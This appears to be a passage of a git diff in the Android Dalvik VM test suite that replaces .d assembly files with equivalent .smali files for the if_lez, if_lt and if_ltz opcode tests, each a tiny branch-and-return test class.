diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_5.d
deleted file mode 100644
index 705c855..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lez_5.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 6
-
-       if-lez v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_5.smali
new file mode 100644
index 0000000..4672d82
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_5.smali
@@ -0,0 +1,23 @@
+.source "T_if_lez_5.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 6
+
+       if-lez v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_6.d
deleted file mode 100644
index 596f1d0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lez_6.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;)I
-.limit regs 6
-
-       if-lez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_6.smali
new file mode 100644
index 0000000..121a5da
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_6.smali
@@ -0,0 +1,23 @@
+.source "T_if_lez_6.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;)I
+.registers 6
+
+       if-lez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_7.d
deleted file mode 100644
index 129b4bb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_7.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_lez_7.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-lez v0, Label9
-       const/16 v0, 1234
-       return v0
-
-Label9:
-       const/4 v0, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_7.smali
new file mode 100644
index 0000000..47119c0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_7.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_lez_7.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-lez v0, :Label9
+       const/16 v0, 1234
+       return v0
+
+:Label9
+       const/4 v0, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_8.d
deleted file mode 100644
index b21ab3e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_8.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lez_8.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-lez v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_8.smali
new file mode 100644
index 0000000..ae564a6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_8.smali
@@ -0,0 +1,23 @@
+.source "T_if_lez_8.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-lez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_9.d
deleted file mode 100644
index 5efdeba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_9.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_lez_9.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-lez v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       const v5, 0
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_9.smali
new file mode 100644
index 0000000..4582936
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_9.smali
@@ -0,0 +1,24 @@
+.source "T_if_lez_9.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-lez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       const v5, 0
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_1.d
deleted file mode 100644
index c81d8b3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_icmpge_1.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-lt v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_1.smali
new file mode 100644
index 0000000..8d60915
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_1.smali
@@ -0,0 +1,23 @@
+.source "T_if_icmpge_1.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-lt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_10.d
deleted file mode 100644
index 4821984..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_10.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_lt_10.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-lt v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       const v6, 0
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_10.smali
new file mode 100644
index 0000000..07080b1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_10.smali
@@ -0,0 +1,24 @@
+.source "T_if_lt_10.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-lt v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       const v6, 0
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_11.d
deleted file mode 100644
index 7e80ecf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_11.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_icmpge_11.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 8
-
-       if-lt v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_11.smali
new file mode 100644
index 0000000..95349b8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_11.smali
@@ -0,0 +1,23 @@
+.source "T_if_icmpge_11.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 8
+
+       if-lt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_12.d
deleted file mode 100644
index f9083cf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_12.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lt_12.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-lt v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_12.smali
new file mode 100644
index 0000000..5722c2a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_12.smali
@@ -0,0 +1,23 @@
+.source "T_if_lt_12.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-lt v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_2.d
deleted file mode 100644
index 94546c9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_2.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_icmpge_2.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 8
-
-       if-lt v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_2.smali
new file mode 100644
index 0000000..29074f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_2.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_icmpge_2.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       if-lt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_4.d
deleted file mode 100644
index 9a93ac6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_icmpge_4.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-lt v6, v8, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_4.smali
new file mode 100644
index 0000000..d12975f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_4.smali
@@ -0,0 +1,23 @@
+.source "T_if_icmpge_4.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-lt v6, v8, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_5.d
deleted file mode 100644
index 7d77ad9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_icmpge_5.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 8
-
-       if-lt v5, v6, Label11
-       const/16 v5, 1234
-       return v5
-
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_5.smali
new file mode 100644
index 0000000..79a9924
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_5.smali
@@ -0,0 +1,23 @@
+.source "T_if_icmpge_5.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       if-lt v5, v6, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_6.d
deleted file mode 100644
index 9d1910e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_icmpge_6.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       if-lt v5, v7, Label11
-       const/16 v5, 1234
-       return v5
-
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_6.smali
new file mode 100644
index 0000000..357ee2c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_6.smali
@@ -0,0 +1,23 @@
+.source "T_if_icmpge_6.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       if-lt v5, v7, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_7.d
deleted file mode 100644
index 8d126c7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_7.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_icmpge_7.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;I)I
-.limit regs 8
-
-       if-lt v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_7.smali
new file mode 100644
index 0000000..f8ee690
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_7.smali
@@ -0,0 +1,23 @@
+.source "T_if_icmpge_7.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;I)I
+.registers 8
+
+       if-lt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_9.d
deleted file mode 100644
index 8c2f2ee..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_9.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lt_9.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-lt v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_9.smali
new file mode 100644
index 0000000..79c825b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_9.smali
@@ -0,0 +1,23 @@
+.source "T_if_lt_9.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-lt v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_1.d
deleted file mode 100644
index 7022a90..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ltz_1.java
-.class public dot.junit.opcodes.if_ltz.d.T_if_ltz_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-ltz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_1.smali
new file mode 100644
index 0000000..f6ed747
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_1.smali
@@ -0,0 +1,23 @@
+.source "T_if_ltz_1.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-ltz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_2.d
deleted file mode 100644
index aa01356..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_2.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ltz_2.java
-.class public dot.junit.opcodes.if_ltz.d.T_if_ltz_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 6
-
-       if-ltz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_2.smali
new file mode 100644
index 0000000..102bfe3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_2.smali
@@ -0,0 +1,23 @@
+.source "T_if_ltz_2.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 6
+
+       if-ltz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_3.d
deleted file mode 100644
index d2405ed..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_3.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ltz_3.java
-.class public dot.junit.opcodes.if_ltz.d.T_if_ltz_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
